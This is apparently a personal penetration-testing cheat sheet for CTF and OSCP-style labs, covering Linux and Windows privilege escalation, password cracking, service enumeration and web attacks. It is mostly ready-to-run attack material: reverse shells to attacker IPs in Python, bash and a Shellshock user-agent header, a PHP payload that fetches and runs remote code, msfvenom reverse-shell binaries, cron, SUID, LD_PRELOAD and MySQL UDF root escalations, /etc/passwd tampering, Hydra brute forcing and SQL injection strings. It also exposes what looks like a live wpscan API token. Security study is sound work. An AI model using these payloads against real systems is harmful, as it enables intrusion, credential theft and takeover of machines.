# Linux

## Basic Linux

**Read File**

* echo <file.txt>
* cat <file.txt>
* head <file.txt>
* while read line; do echo $line; done < <file.txt>
* grep -R . (recursive file system)
* grep <pattern> <file.txt>
* more <file.txt>
* less <file.txt>
* strings <binary file> (find and print text strings embedded in binary files)

**Write text**

* > (overwrite)
* >> (append)
* tee (can sudo + show in stdout + multiple files)
  + default is overwrite. -a is append.

**Declare and use Variable (e.g. $IP)**

* IP=”x.x.x.x”
* unset IP
* declare (view all environment variables)

**Find**

|  |  |
| --- | --- |
| find ./dir -name \*.txt | find / -name user.txt 2>/dev/null |

**Awk**

|  |  |
| --- | --- |
| awk -F: '{print $1, $2}' /etc/shadow |  |

**Unzip File**

* tar -xvzf <file.tar.gz>
* gzip -d <file.gz>

**Create password hash**

* mkpasswd -m sha-512 newpasswordhere
* openssl passwd newpasswordhere

**See runnable sudo programs**

* sudo -l

**History**

* cat ~/.\*history | less

**Display Successful Results and Not Errors**

* 2>/dev/null

## Basic Networking

**Get your own IP**

|  |
| --- |
| ip addr show <network adapter> |
| BSSID + Wigle.net (reverse find location) |

**Reverse Lookup via MAC address of a wireless access point**

|  |
| --- |
| BSSID + [www.wigle.net](http://www.wigle.net) |

**Get all the ports open in the server**

|  |  |
| --- | --- |
| **netstat -tnlp** | |
|  | **-t tcp -n don’t resolve names -l listening -p display programs** |

**Nmap**

|  |
| --- |
| nmap -sT –O –osscan‐guess –sV ‐‐script banner |
| nmap -sC -sV -oA solidstate 10.10.10.51 |
| nmap --script=vuln |
| always -vv to get more info) |

**Netcat**

|  |
| --- |
| nc -lvnp <port no> (Victim’s machine listening to port no) |
| nc -nv <ip address> <port no> (Attacker’s machine) |
| nc -e (execute a shell) (not all netcat version have it) |

**Reverse Shell**

|  |
| --- |
| python -c 'import os; os.execl("/bin/sh", "sh", "-p")' |
| python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.9.1.216",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |

**TeleTYpewriter** (Upgrading shell)

|  |  |  |  |
| --- | --- | --- | --- |
| python3 -c 'import pty;pty.spawn("/bin/bash")' | | | python3 -c 'import pty;pty.spawn("/bin/bash")\' |
| Ctrl+z | stty raw -echo | fg + [Enter x 2] |  |
|  | | |  |

* <http://pentestmonkey.net/blog/post-exploitation-without-a-tty>

**Python (check if python is available)**

|  |  |
| --- | --- |
| python -c “print(‘hello’)” | python3 -c “print(‘hello’)” |

**Root Privilege**

* sudo bash

## Cracking Password

**HashCat**

|  |  |
| --- | --- |
| hashcat -a 0 -m 1000 hashforcrack.txt rockyou.txt --force --username –show | |
|  | -a attack mode |
|  | -m hash type |
|  | --username ignore username in file |
|  | --show show cracked password |

**John the Ripper**

|  |  |
| --- | --- |
| john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt | |
| john --show hash.txt (No password hashes left to crack 🡪 redisplay the cracked password) | |
|  | To crack the hashes again, remove john.pot |

**Hydra**

|  |  |  |
| --- | --- | --- |
| https://github.com/frizb/Hydra-Cheatsheet | | |
| hydra -l <username> -P /usr/share/wordlists/rockyou.txt -vV $ip $service | | service |
| hydra $ip -l $username -P $wordlist https-post-form “/department/login.php:username=admin&password=^PASS^:Invalid Password!” | | brute force login |
|  | Login or Wordlist for Usernames  Password or Wordlist for Passwords  IP address or Hostname  HTTP Method (POST/GET)  Directory/Path to the Login Page  Request Body for Username/Password  A Way to Identify Failed Attempts | |

## Finding Exploit

* **Searchsploit “<search text>”**
* **exploit-db**
* **github**

**Metasploit**

* service postgresql start (allow faster searches)
* msfdb init (initialize database. Do once when first starting it)
* db\_status (check that database is connected)
* > search (search for module)
* > use (use a module)
* > info (get information about a module)
* > connect (connection with host)
* > set (set value of variable)
* > setg (set value of global variables)
* > get (view variables)
* > unset (Changing value to null/no value)
* > spool (save console output to a file)
* > save (store the settings/active datastores from Metasploit to a settings file)
* > show options (see options of payload)
* > sessions -l (see the current sessions)
* > sessions -i <session id> (interact with the current sessions)

MSF Modules

* Exploit (Exploit codes)
* Payload (Various bits of shellcode sent to execute during exploitation
* Post (For looting and [pivoting](https://www.offensive-security.com/metasploit-unleashed/pivoting/))
* Encoder (payload obfuscation to avoid signature detection)
* NOP (Buffer overflow and ROP attacks)
* > load (to load modules)

MSF Commands

* set payload windows/x64/shell/reverse\_tcp
* set [post/multi/manage/shell\_to\_meterpreter](https://null-byte.wonderhowto.com/how-to/upgrade-normal-command-shell-metasploit-meterpreter-0166013/) (upgrading shell to Metasploit meterpreter)

**Web Server**

|  |
| --- |
| sudo python -m SimpleHTTPServer 80 |
| <?php system("wget 10.10.14.57/hax.php -O /var/tmp/hax.php; php /var/tmp/hax.php"); ?> |

## Curl

|  |  |
| --- | --- |
| -A “user-agent” |  |
| -L | Follow redirection |
| -X <GET/POST/HEAD/etc> |  |
| --cookie-jar - | See what cookie is received |
| --cookie "flagpls=yes" | Send cookie |
| -d “content” | HTTP Post data |
| -i | Display protocol response headers in the output |

**BurpSuite**

* Intruder
  + Might need turn off URL-encoding

## Detailed Examples

## Sudo

* sudo -l (to see what is runnable by sudo)

#### [Shell Escape Sequences](https://gtfobins.github.io/)

#### Environment Variables

* Binary files that runs relative path of bin programs e.g. curl -I localhost instead of /usr/bin/curl -I localhost
  + echo /bin/sh > curl
  + chmod 777 curl
  + export PATH=/<where the fake copy of bin file is located>:$PATH
  + /usr/bin/<binary file to be launched>
* LD\_PRELOAD and LD\_LIBRARY\_PATH are both inherited from the user's environment.
  + LD\_PRELOAD loads a shared object before any others when a program is run.
    - Create a shared object using the code located at /home/user/tools/sudo/preload.c:
      * gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
    - Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD\_PRELOAD environment variable to the full path of the new shared object:
      * sudo LD\_PRELOAD=/tmp/preload.so program-name-here
    - A root shell should spawn.
  + LD\_LIBRARY\_PATH provides a list of directories where shared libraries are searched for first.
    - Run ldd against the apache2 program file to see which shared libraries are used by the program:
      * ldd /usr/sbin/apache2
    - Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library\_path.c:
      * gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library\_path.c
    - Run apache2 using sudo, while settings the LD\_LIBRARY\_PATH environment variable to /tmp (where we output the compiled shared object):
      * sudo LD\_LIBRARY\_PATH=/tmp apache2
    - A root shell should spawn.

## NFS

* Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.
  + Check the NFS share configuration (Notice that /tmp share has root squashing disabled):
    - cat /etc/exports
  + Using Kali's root user, create a mount point on your Kali box and mount the /tmp share (update the IP accordingly):
    - mkdir /tmp/nfs
    - mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs
  + Generate a payload (simply calls /bin/bash) using msfvenom and save it to the mounted share
    - msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
  + Make the file executable and set the SUID permission
    - chmod +xs /tmp/nfs/shell.elf
  + Back on the victim server, as the low privileged user account, execute the file to gain a root shell:
    - /tmp/shell.elf

## Folders and Directories

### /etc/shadow

* Contains user password hashes and is usually readable only by root user
* Password format is set to $id$salt$hashed
* $1$ is MD5, $2a$ is Blowfish, $2y$ is Blowfish, $5$ is SHA-256, $6$ is SHA-512.
* contains user password hashes and is usually readable only by root user
* Read /etc/shadow and decode
* Create own hash with mkpasswd and replace in /etc/shadow

### /etc/passwd

* Contains information about user accounts
* Create own hash with openssl and replace in /etc/passwd
* Copy root’s row, append to bottom row and change username and replace password

### /etc/crontab

* Cron jobs are programs or scripts which users can schedule to run at specific times or intervals
* Cron table files (crontabs) store the configuration for cron jobs
* The system-wide crontab is located at /etc/crontab

#### Cronjob: add rev shell to existing jobs

Find cronjobs created by root, add in the following content and set up listener to receive shell

* #!/bin/bash

bash -i >& /dev/tcp/<your ip>/<port> 0>&1

#### Cronjob: create similar cron job file based on default path

Create shell programs to be executed base on cronjobs default path (cat /etc/crontab)

* Create a .sh with the same name as the cronjob files that is currently ran by cronjob
  + #!/bin/bash
  + cp /bin/bash /tmp/rootbash
  + chmod +xs /tmp/rootbash
* chmod +x /home/user/<bash.sh> (make sure is executable)
* /tmp/rootbash -p

#### Cronjob: Run services e.g. tar with wildcard (tar czf /tmp/backup.tar.gz \*)

* + Creating a reverse shell ELF binary with msfvenom
    - msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
  + Allow the file as executable
    - chmod +x /home/user/shell.elf
  + Create two files that can be run by tar command when executed by cronjob, followed by the listener
    - touch /home/user/--checkpoint=1
    - touch /home/user/--checkpoint-action=exec=shell.elf

### /.ssh

* ssh\_key without passphrase:
  + Transfer root\_key to yourself and sign in with root via ssh.
  + chmod 600 root\_key (change to the required permissions)
  + ssh -i root\_key root@<ip> (ssh to root with root\_key)
* ssh\_key with passphrase:
  + Transfer the private key to yourself.
  + chmod 600 key\_file (change to the required permissions)
  + /usr/share/john/ssh2john.py priv\_id\_rsa > crack.txt
  + john test.txt --wordlist=/usr/share/wordlists/rockyou.txt

## strcmp for PHP

|  |
| --- |
|  |

## Local File Inclusion

|  |
| --- |
| notes=files/ninevehNotes.txt |

## Remote File Exclusion

|  |
| --- |
| <http://10.10.10.43/department/manage.php?notes=/ninevehNotes/../var/tmp/0xdf.php&cmd=id>  To get a shell, I’ll just change the cmd to bash -c 'bash -i >%26 /dev/tcp/10.10.14.24/443 0>%261' (it’s important to url encode the & or they will be interpreted as starting a new parameter). I get a shell in nc: |
| https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html#shell-as-www-data-via-phpliteadmin |

## SUID / SGID Executables

|  |  |
| --- | --- |
| find / -user root -perm -4000 -exec ls -ldb {} \; 2> /dev/null | find SUID only |
| find / -user root -perm /4000 2>/dev/null | SUID only |
| find / -perm -u=s -type f 2>/dev/null |  |
| find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null | SUID + SGID |

* Use known exploits e.g. searchsploit/Exploit-DB, Google, and GitHub

#### Shared Object Injection

* + (/usr/local/bin/suid-so SUID executable is vulnerable to shared object injection.)
  + First, execute the file and note that currently it displays a progress bar before exiting:
    - /usr/local/bin/suid-so
  + Run strace on the file and search the output for open/access calls and for "no such file" errors:
    - strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
  + Note that the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory, but it cannot be found. Create the .config directory for the libcalc.so file
    - mkdir /home/user/.config
  + Example shared object code can be found at /home/user/tools/suid/libcalc.c. It simply spawns a Bash shell. Compile the code into a shared object at the location the suid-so executable was looking for it
    - gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
  + Execute the suid-so executable and that this time, instead of a progress bar, we get a root shell.
    - /usr/local/bin/suid-so

#### Environment Variables (Not using absolute path)

* + First, execute the file and note that it seems to be trying to start the apache2 webserver:
    - /usr/local/bin/suid-env
  + Run strings on the file to look for strings of printable characters:
    - strings /usr/local/bin/suid-env
    - ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.
  + Compile the code located at /home/user/tools/suid/service.c into an executable called service to spawn a Bash shell
    - gcc -o service /home/user/tools/suid/service.c
  + Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:
    - PATH=.:$PATH /usr/local/bin/suid-env

#### Environment Variables (Using Absolute Path)

* + Run strings on the file to look for strings of printable characters:
    - strings /usr/local/bin/suid-env
    - ("/usr/sbin/service apache2 start") suggests that the service executable is being called to start with absolute path of service executable.
  + Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.
    - /bin/bash –version
  + Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function:
    - function /usr/sbin/service { /bin/bash -p; }
    - export -f /usr/sbin/service
  + Run the suid-env2 executable to gain a root shell:
    - /usr/local/bin/suid-env2

#### Abusing Shell Features (< Bash versions 4.4)

* + When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements. Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash
    - env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
  + Run the /tmp/rootbash executable with -p to gain a shell running with root privileges
    - /tmp/rootbash -p

## MySQL

* **Commands**
  + Show databases
  + Show tables
  + Mysql -u root (login as root)

#### [**User Defined Functions**](https://www.exploit-db.com/exploits/1518)

* + Note: MySQL service is running as root and “root” user do not have password aligned
  + cd /home/<user>/tools/mysql-udf
  + Compile raptor\_udf2.c exploit code
    - gcc -g -c raptor\_udf2.c -fPIC
    - gcc -g -shared -Wl,-soname,raptor\_udf2.so -o raptor\_udf2.so raptor\_udf2.o -lc
  + Connect to the MySQL service as root user with a black password
    - mysql -u root -p
  + Execute the following commands on the MySQL shell to create User Defined Function (UDF) “do\_system” using compiled exploit
    - use mysql;
    - create table foo(line blob);
    - insert into foo values(load\_file('/home/user/tools/mysql-udf/raptor\_udf2.so'));
    - select \* from foo into dumpfile '/usr/lib/mysql/plugin/raptor\_udf2.so';
    - create function do\_system returns integer soname 'raptor\_udf2.so';
  + Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:
    - select do\_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
  + Exit out of the MySQL shell (type exit or \q and press Enter) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:
    - /tmp/rootbash -p
  + Remember to remove the /tmp/rootbash executable and exit out of the root shell before continuing as you will create this file again later in the room!
    - rm /tmp/rootbash
    - exit

## rbash

|  |
| --- |
| sshpass -p 'P@55W0rd1!2@' ssh mindy@10.10.10.51 -t bash |
| ssh hackNos@$ip -t "bash --noprofile" |

# Windows

**Search for files**

* dir <file> /s /b (e.g. dir flag\* /s /b)

**Interesting Directories**

* C:\Users\<user>\Documents

**Passwords (SAM contains hashed passwords, encrypted with boot key within System file)**

* Stored location: c:\Windows\System32\Config\
* Backup: c:\Windows\Repair\
* Meterpreter> hashdump

**Decrypt Windows Hash (NTLM)**

* aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d
* https://hashes.com/en/decrypt/hash

**Verify Privilege**

* Meterpreter> getsystem
* Meterpreter> shell
  + Meterpreter> whoami

**Escalate Process Privilege**

* [Purpose](https://jlajara.gitlab.io/others/2018/11/26/process-migration.html)
  + Hide process to gain persistence and avoid detection
  + Change process architecture to execute payload with correct architecture
  + Migrate to a more stable process
* Meterpreter> ps (list process)
* Meterpreter> migrate <process\_id>

https://github.com/itm4n/PrivescCheck

**Proof:**

|  |  |
| --- | --- |
| **Linux Proof:** | **cat proof.txt && hostname && id && whoami && /sbin/ifconfig** |
| **Windows Proof:** | **hostname && whoami.exe && whoami.exe /groups && type proof.txt && ipconfig /all** |

# Compilation

## Decoding Messages

|  |  |
| --- | --- |
| Base64 | |
|  | echo <string> | base64 -d |
|  | echo <string> | base64 -d | base64 -d (recursive base64 string) |
| Cyberchef | |
|  | https://gchq.github.io/CyberChef/ |

## DNS Enumeration

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| host | | | | |
|  | host $ domainname || host $ip | | get ipv4, ipv6 and hostname | |
|  | Host -t ns $ domainname | | | nameserver |
| nslookup | | | | |
|  | Nslookup $ domainname | | | |
|  | nslookup set type=ns $ domainname | Nameserver. set type=mx for mailserver. | | |
| dig | | | | |
|  | dig $domainname -t ns | Nameserver | | |
|  | dig $domainname AAAA | IPv6 | | |
|  | dig $domainname CNAME | Canonical Name | | |
|  | Dig $domainname -t ns +short | Important value only | | |
|  | Dig axfr cronos.htb @$ip | DNS zone transfer | | |

## Encrypted ZIP

|  |  |
| --- | --- |
| zip2john <file.zip> > <output.txt> | |
|  | john <output.txt> |
| 7z e <file.zip> | |

## Find

|  |  |
| --- | --- |
| find . -name user.txt -exec cat {} \; |  |
|  |  |

## Images

|  |  |
| --- | --- |
| strings -n 20 <file.jpg> | |
| steghide extract -sf <file.jpg> | |
| exiftool <file.png> | exiftool -a -u -g1 <file.jpg> | |
| binwalk | |
|  | Binwalk -e <file.png> |
| Bless <file.jpg> | |
|  | Foremost <file.png> |

## Login

|  |
| --- |
| Try default password |
| Always use HELP / ? |

## Port Knocking

|  |  |
| --- | --- |
| ps auxww -> knockd | See if knockd exist |
| cat /etc/knockd.conf | See configuration |
|  |  |
| <https://wiki.archlinux.org/title/Port_knocking> | |
| for i in $port1 $port2 $port3; do  > nmap -Pn --host-timeout 100 --max-retries 0 -p $i $ip >/dev/null  > done; ssh -i ~/keys/id\_rsa\_nineveh\_amrois amrois@$ip | |

## Privilege Escalation

|  |  |
| --- | --- |
| uname -a | |
| sudo -l | |
| sudo -u $username /bin/bash | |
| https://gtfobins.github.io/ | |
|  | |
| cat /etc/passwd | cut -d: -f1 | List users |
| grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 {print $1}’ | List super users |
|  |  |
| Priv Esc: Remember, they want you use a specific technique. Enumerate and run this:\_ “which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null”\_ If you don’t see a compiler such as GCC, you know it’s probably not going to be a kernel exploit. So enumerate and use LinEnum.sh or Linuxprivescchecker.py. I found on one of my 20 point boxes it only perl and wget, so I was looking for priv esc related to perl. The other 20 pointer had GCC, so I googled a linux exploit, 2 minutes later I am root. | |

## Shell

**Reverse Shell**

|  |  |
| --- | --- |
| python -c 'import os; os.execl("/bin/sh", "sh", "-p")' |  |
| python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.9.1.216",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' | |

**TeleTYpewriter** (Upgrading shell)

|  |  |  |  |
| --- | --- | --- | --- |
| python3 -c 'import pty;pty.spawn("/bin/bash")' | | | python3 -c 'import pty;pty.spawn("/bin/bash")\' |
| python3 -c 'import pty;pty.spawn("bash")' | | | |
| Ctrl+z | stty raw -echo | fg + [Enter x 2] | Ctrl-z, stty raw -echo, fg, reset |
|  | | |  |

## Server Scans

|  |  |  |
| --- | --- | --- |
| nmap -sT –O –osscan‐guess –sV ‐‐script banner | | |
| nmap --script=vuln | | |
| nmap -sT -p- --min-rate 10000 -oA scans/alltcp | | |
| nmap -sU -p- --min-rate 10000 -oA scans/alludp 10.10.10.3 | | |
| nmap -p 21,22,139,445,3632 -sV -sC -oA scans/tcpscripts | | |
| nmap scripts | | |
|  | ShellShock | |
|  |  | nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh $ip |

## SQL Injection

|  |
| --- |
| admin’ or ‘1’=’1 # |
| admin’ or 1 = 1 -- - |

## Wordpress Vulnerability

|  |  |
| --- | --- |
| wpscan --url <url> -e vp --plugins-detection mixed --api-token Oyu0ovRyqWCQ1jMjZStusYfVAc9AiJLgEC0VQ4JjoZU | Enumerate all plugins with known vulnerabilities |
| wpscan --url <url> -e ap --plugins-detection mixed --api-token Oyu0ovRyqWCQ1jMjZStusYfVAc9AiJLgEC0VQ4JjoZU | Enumerate all plugins in our database (could take a very long time) |
| wpscan --url <url> -e u --passwords <wordlist.txt> | Password brute force attack |
|  |  |
| wpscan --url <url> --disable-tls-checks --api-token Oyu0ovRyqWCQ1jMjZStusYfVAc9AiJLgEC0VQ4JjoZU | Scan for vulnerabilities and disable SSL/TLS certification verification |
| wpscan --url <url> --disable-tls-checks --enumerate u | Enumerate username |

## Vulnerability Search

|  |  |  |
| --- | --- | --- |
| Searchsploit <service and version> | | |
|  | Searchsploit -m <cv no.> | Copy file to current directory |
|  | Searchsploit -p <cv no.> | Print link to exploit |
| Google the CVE found on searchsploit for different ways to perform same vulnerability exploit e.g. python scripts | | |
|  | | |

asdsaasd

# Ports

**21/tcp ftp**

|  |  |
| --- | --- |
| Nc -nv $ip $port (login) | |
| ProFTPD | |
|  | SITE CPFR / SITE CPTO + NFS |
| ftp $ip | |
|  | Brute force (with Hydra) |
|  | hydra -l <username> -P /usr/share/wordlists/rockyou.txt -vV $ip ftp |
| user (login) | |
| get <single filename> | |
| mget \* <get everything> | |
|  | prompt (turn interaction mode off. Transfer all the files in one shot) |
|  | |

**22/tcp ssh**

|  |  |  |
| --- | --- | --- |
| ssh $username@$ip (Login) | | |
|  | Brute force with Hydra | |
|  |  | hydra -l <username> -P /usr/share/wordlists/rockyou.txt -vV $ip ssh |
| ssh -i id\_rsa $username@$ip | | |
| File Transfer | | |
|  | Transfer local file to remote server | |
|  |  | scp <file.txt> ubuntu@192.168.1.30:/home/ubuntu/<file.txt> |
|  | Transfer remote file to local server | |
|  |  | scp ubuntu@192.168.1.30:/home/ubuntu/<file.txt> <file.txt> |
| Decode private key file for password. https://github.com/ph4r05/boinc/blob/master/gijohn/src/ssh2john.c | | |
|  | python sshng2john.py id\_rsa > output.txt | |
|  | john output.txt --wordlist=/usr/share/wordlists/rockyou.txt | |

**25/tcp smtp – sending email (Non-Encrypted Port)**

|  |  |  |
| --- | --- | --- |
|  | | |
|  |  | |
|  |  |  |
|  | | |
|  |  | |
|  |  |  |
|  |  | |
|  |  |  |

**80/tcp http**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| View Source Code / F12 / Cltr + Shift + I | | | | | |
| Directory Enumeration | | | | | |
|  | Gobuster | | | | |
|  |  | gobuster dir -u http://$ip:port -w /opt/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py  (cgi cause of shellshock) | | | |
|  |  | gobuster dir -u http://$ip:port -w /opt/directory-list-2.3-medium.txt -f | | | -f flag to force adding the / to the end of directories |
|  |  | <<gobuster -u https://10.10.10.60 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -s 200 -x php,txt,jpg,jpeg,gif>> | | | Check for 200 responses only |
|  | Dirbuster | | | | |
|  | Feroxbuster | | | | |
|  |  | feroxbuster -u http://$ip -x php,html | | | |
|  |  | Feroxbuster -u http://$ip -x php,html -f | | | -f flag to force adding the / to the end of directories |
|  | Dirb | | | | |
|  |  | Dirb $url /opt/directory-list-2.3-medium.txt | | | |
| Directory Enumeration (Common Pages) | | | | | |
|  | Robots.txt | | | | |
|  | Cgi-bin | | | feroxbuster -u http://10.10.10.56/cgi-bin/ -x sh,cgi,pl | |
| Nikto | | | | | |
|  | Nikto -h http://$ip | | | | |
| Request / Burpsuite | | | | | |
|  | User-Agent | | | | |
|  |  | curl -H “user-agent: () { :; }; echo; echo; /bin/bash -c ‘cat /etc/passwd’ ” \ http://10.10.10.56/cgi-bin/user.sh | | | |
|  |  |  | User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/$ip/$port 0>&1 | | |
| Password List | | | | | |
|  | Rockyou.txt | | | | |

**110/tcp pop3 (Non-Encrypted Port)**

|  |  |  |
| --- | --- | --- |
| telnet $ip 110 | | |
|  |  | |
|  |  |  |
|  | | |
|  |  | |
|  |  |  |
|  |  | |
|  |  |  |

**111/tcp RPCBIND (converts RPC program number into universal addresses)**

|  |
| --- |
| nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.177.206 (show nfs mount) |
| View Source Code / F12 / Cltr + Shift + I |

**119/tcp NNTP (Network News Transfer Protocol)**

|  |
| --- |
| nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.177.206 (show nfs mount) |
| View Source Code / F12 / Cltr + Shift + I |

**139/tcp smb – ran on NetBIOS (older transport layer) for Windows comp to talk to each other on same network**

|  |  |  |
| --- | --- | --- |
| smbclient //$ip/anonymous | | normal login |
| enum4linux -a $ip | | |
| sudo nmap -sU -sS --script smb-brute.nse -p U:137,T:139 $ip | find login and password | |

**143/tcp imap – Receiving Email (Non-Encrypted Port)**

|  |  |  |
| --- | --- | --- |
|  | | |
|  |  | |
|  |  |  |
|  | | |
|  |  | |
|  |  |  |
|  |  | |
|  |  |  |

**445/tcp smb – later version of SMB (after Windows 2000) ran on TCP stack to allow SMB to work over the net’**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| smbclient //$ip/$share | | | | Login | |
|  | smbclient -N //$ip/$share | | | No pass | |
|  | smbclient -N //10.10.10.3/tmp --option='client min protocol=NT1' | | | No pass login for older SMB version | |
| smbget -R smb://$ip/anonymous | | | Recursively download all files | | |
| enum4linux -a $ip | | | Enumerate Window and Samba host | | |
| nmap --script smb-brute.nse -p445 $ip | | | find login and password | | |
| nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $ip | | | | | Find shares |
| smbmap -H $ip | | samba share enumerate | | | |
|  | |  | | | |

139/TCP & 445/TCP

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

# Documentation & Links

## Tools Documentation

|  |  |
| --- | --- |
| smbclient | https://www.samba.org/samba/docs/current/man-html/smbclient.1.html |
| smbget | https://www.samba.org/samba/docs/current/man-html/smbget.1.html |
| Smbmap | https://tools.kali.org/information-gathering/smbmap |
| Enum4linux | <https://tools.kali.org/information-gathering/>enum4linux |
| Searchsploit | https://www.exploit-db.com/searchsploit |
| wpscan | <https://wpscan.com/wordpress-security-scanner> <https://github.com/wpscanteam/>wpscan |
| nikto | https://tools.kali.org/information-gathering/nikto |
| Dirsearch | <https://github.com/maurosoria/dirsearch> |
| dirb | https://tools.kali.org/web-applications/dirb |

## Links

|  |  |
| --- | --- |
| OSCP Cheatsheet | <https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md> https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation |
| RSA Decryption | http://dann.com.br/alexctf2k17-crypto150-what\_is\_this\_encryption/ |
|  |  |

## Random Issues

SMBCLIENT Disconnected

